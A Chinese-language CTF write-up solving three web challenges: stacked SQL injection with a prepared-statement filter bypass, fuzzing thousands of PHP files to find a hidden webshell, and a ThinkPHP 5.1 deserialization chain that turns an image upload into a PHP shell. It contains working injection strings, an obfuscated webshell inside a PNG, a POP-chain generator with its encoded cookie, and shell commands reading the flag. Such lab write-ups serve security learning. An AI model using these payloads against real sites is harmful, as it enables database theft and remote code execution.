随便注
输入1' or '1
有返回,输入'
提示sql
语法错误,输入select
返回了过滤规则
1
| preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| 1';show databases;# array(1) { [0]=> string(11) "ctftraining" } array(1) { [0]=> string(9) "supersqli" }
1';use supersqli;show tables;# array(1) { [0]=> string(16) "1919810931114514" } array(1) { [0]=> string(5) "words" }
1';use supersqli;describe `1919810931114514`;# array(6) { [0]=> string(4) "flag" [1]=> string(12) "varchar(100)"
1';use supersqli;SET @getflag = CONCAT('SELE','CT flag FROM `1919810931114514`');PREPARE pr2 FROM @getflag;EXECUTE pr2;# array(1) { [0]=> string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}" }
|
高明的黑客
下载源码解压后发现…3306个文件
1 2
| ⚡ root@kali /var/www/html/CTF/强网杯/Smart_hacker/src ls | wc -l 3002
|
而且文件名和内容都离奇的很。。

难道这就是公司开发吗,i了i了~
打开一些文件看看,发现好多文件里面都有危险函数GET,POST,exec,eval,assert


涨姿势时间到:
看了大佬的writeup知道是fuzz…
提示了是黑客,然后结合上面的代码可以猜测这些文件里面有黑客上传的一句话木马。可以看到里面有GET,POST,exec,eval,assert…但我们不知道哪个是一句话马,所以直接脚本来一个一个的试。先找到脚本中的_GET _POST
方法,提取出传入的关键字,然后给关键字赋值echo xxx
看看页面会不会输出我们的内容,如果是,则这个就是后门。先在本地启动apache服务器(或者php -S localhost:8080 -t 目录),然后执行脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| import os import threading from concurrent.futures.thread import ThreadPoolExecutor
import requests
session = requests.Session() url='http://127.0.0.1/CTF/%e5%bc%ba%e7%bd%91%e6%9d%af/Smart_hacker/src/' path = "/var/www/html/CTF/强网杯/Smart_hacker/src/" files = os.listdir(path)
mutex = threading.Lock() pool = ThreadPoolExecutor(max_workers=50)
def read_file(file): f = open(path + "/" + file); iter_f = iter(f); str = "" for line in iter_f: str = str + line
start = 0 params = {} while str.find("$_GET['", start) != -1: pos2 = str.find("']", str.find("$_GET['", start) + 1) var = str[str.find("$_GET['", start) + 7: pos2] start = pos2 + 1
params[var] = 'echo("glzjin");'
start = 0 data = {} while str.find("$_POST['", start) != -1: pos2 = str.find("']", str.find("$_POST['", start) + 1) var = str[str.find("$_POST['", start) + 8: pos2] start = pos2 + 1
data[var] = 'echo("glzjin");'
r = session.post(url + file, data=data, params=params) if r.text.find('glzjin') != -1: mutex.acquire() print(file + " found! method:{}".format("eval")) mutex.release()
for i in params: params[i] = params[i][:-1]
for i in data: data[i] = data[i][:-1]
r = session.post(url + file, data=data, params=params) if r.text.find('glzjin') != -1: mutex.acquire() print(file + " found! method:{}".format("assert")) mutex.release()
for i in params: params[i] = 'echo glzjin'
for i in data: data[i] = 'echo glzjin'
r = session.post(url + file, data=data, params=params) if r.text.find('glzjin') != -1: mutex.acquire() print(file + " found! method:{}".format("system")) mutex.release()
for file in files: if not os.path.isdir(file):
pool.submit(read_file, file)
|

1
| xk0SzyKwfzw.php 后门文件 执行方式是 system
|
去康康这个文件,四百多行,没有搜索到system
,有可能是通过拼接生成的system
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php $W96 = 'wiMI9l7q'; $xjGowjMeo = 'NPK'; $HeMPrLHRrEJ = 'dLEIN'; $Z_kn8Jvza = new stdClass(); $Z_kn8Jvza->uH = 'VIYdLFk'; $Z_kn8Jvza->mY = 'ftPRiyoe9'; $nGXvwmVD3SW = 'zAfhhrf'; $qJzeCC = array(); $qJzeCC[]= $W96; ... ... ?>
|

看到是在这里拼接了system
函数。参数为GET方式传入的Efa5BVG
http://05e04639-97d5-46f6-88ce-5992aa75eca9.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
得到flag:flag{b4ab84c1-b1e7-4b95-bc39-7038df6958b1}
Upload
注册登录,扫面一下后台
1 2 3 4 5
| Dir found: /robots.txt - 200 Dir found: /.htaccess - 200 Dir found: / - 200 Dir found: /upload%2F - 200 Dir found: /www.tar.gz - 200
|
下载www.tar.gz
流程分析
thinkphp5.1框架

Register.php
里面有一个析构函数,当没有注册的时候跳转到主页面
1 2 3 4 5
| public function __destruct(){ if(!$this->registed){ $this->checker->index(); } }
|
index.php
会先进行身份验证login_check
1 2 3 4 5 6 7 8 9
| public function index() { if($this->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home"; $this->redirect($curr_url,302); exit(); } return $this->fetch("index"); }
|
login_check
:
1 2 3 4 5 6 7 8 9 10 11 12
| public function login_check(){ $profile=cookie('user'); if(!empty($profile)){ $this->profile=unserialize(base64_decode($profile)); $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find(); if(array_diff($this->profile_db,$this->profile)==null){ return 1; }else{ return 0; } } }
|
login_check
中对$this->profile
进行了反序列化操作,并且没有任何安全性检查,所以这里应该是入口点,payload
应该放在cookie
中。
那么怎么利用呢? 审计代码没发现有什么函数比如file_get_contents()
等,但是这个有上传文件功能,所以看看能不能上传木马。
找到上传文件主要函数:在Profile
中upload_img
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public function upload_img(){ if($this->checker){ if(!$this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } }
if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); } if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }else{ $this->error('Forbidden type!', url('../index')); } }else{ $this->error('Unknow file type!', url('../index')); } }
|
- 这个函数先进行身份检查,
- 然后如果上传的文件不为空则将文件名
$this-filename
命名为md5($_FILES['upload_file']['name']).".png";
,
- 然后在经过后缀名检查
$this->ext_check();
因为刚才后缀加了png
所以这个检查肯定会通过
- 把临时文件复制改名为新文件名
filename
,然后删除临时文件
正常来说由于filename
后面被强制加上了png
后缀,所以不可能上传php
木马,但是加png
后缀这一步判断条件是 if(!empty($_FILES))
,所以如果我们不上传文件的话也就绕过了这个强制加后缀的过程。
如果我们先上传一个图片马,然后将filename_tmp=图片马路径,filename=xxx.php,经过复制便可达到getshell,所以要想办法在不上传文件的情况下调用upload_img
所以现在主要目的就是利用反序列化构造类来进行调用。
payload链
分析
Register::__destruct()
应该是入口函数
1 2 3 4 5
| public function __destruct(){ if(!$this->registed){ $this->checker->index(); } }
|
注意到Profile
中还有两个魔术方法:
1 2 3 4 5 6 7 8
| public function __get($name){ return $this->except[$name]; } public function __call($name, $arguments){ if($this->{$name}){ $this->{$this->{$name}}($arguments); } }
|
__call 和 _get 两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。_get 会直接从 except
里找,_call 会调用自身的 name
成员变量所指代的变量所指代的方法。
- 如果将
Register
的checker
赋值为Profile
对象,则其析构函数中$this->checker->index();
就变成了Profile->index();
- 而
Profile
中不存在index()
方法,所以__call
方法被自动调用,__call
方法中的$name=index , $arguments为空
, $this->{$this->{$name}}($arguments);
变成了$this->index();
- 而
Profile
中不存在index()
变量,所以__get()
方法被自动调用,__get()
方法中的$name=index
,$this->except[$name];
变成$this->except['index'];
Profile
是存在except
变量的,如果令except['index']=upload_img
,则__get
方法返回upload_img
,然后_call
方法调用upload_img
。
最终poc
- 先上传一个图片马(可以用蚁剑生成) cmd.png, 要加上
png
图片头格式绕过getimagesize

1 2 3 4
| �PNG � <?php <?php $PhFE=create_function(chr(714-678).chr(0351-0166).str_rot13('b').chr(0x193-0x126).chr(0146615/01011),chr(29391/291).chr(0154244/0726).chr(0121517/0657).base64_decode('bA==').chr(0x3a6-0x37e).str_rot13('$').chr(0xd3-0x60).chr(360-249).chr(0x3e8-0x37b).chr(0577-0432).base64_decode('KQ==').chr(0144107/01545));$PhFE(base64_decode('NDIxN'.'zgzO0'.'BldkF'.'sKCRf'.''.chr(582-497).chr(828-759).chr(0x349-0x310).base64_decode('VA==').str_rot13('I').''.''.base64_decode('Rg==').str_rot13('g').base64_decode('ag==').chr(0214374/01336).chr(046445/0343).''.'RdKTs'.'xMjY1'.'MzQ5O'.'w=='.''));?>
|

- 注意命名空间
app\web\controller
(要不然反序列化会出错,不知道对象实例化的是哪个类)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php namespace app\web\controller; class Register{ public $checker; public $registed; public function __construct() { $this->registed = 0; $this->checker = new Profile(); } } namespace app\web\controller; class Profile{ public $filename_tmp; public $filename; public $ext; public $except; public function __construct() { $this->except=['index'=>'upload_img']; $this->filename_tmp ="./upload/76d9f00467e5ee6abc3ca60892ef304e/45616bece453d246c7edf323262cb9ef.png"; $this->filename = "./upload/shell.php"; $this->ext="png";
} } echo base64_encode(serialize(new Register()));
|
1
| TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo0OntzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzg6Ii4vdXBsb2FkLzc2ZDlmMDA0NjdlNWVlNmFiYzNjYTYwODkyZWYzMDRlLzQ1NjE2YmVjZTQ1M2QyNDZjN2VkZjMyMzI2MmNiOWVmLnBuZyI7czo4OiJmaWxlbmFtZSI7czoxODoiLi91cGxvYWQvc2hlbGwucGhwIjtzOjM6ImV4dCI7czozOiJwbmciO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO319czo4OiJyZWdpc3RlZCI7aTowO30=
|
作为cookie
提交,然后蚁剑链接,这里就直接post
参数手动找出flag就好了

1 2 3 4 5
| cmd=system("ls /"); �PNG bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var
cmd=system("cat /flag"); �PNG flag{90f7f851-abec-455a-ac13-229f1cd3cef6}
|
https://www.kancloud.cn/manual/thinkphp5/118048
https://www.zhaoj.in/read-5873.html
https://blog.csdn.net/chasingin/article/details/104374416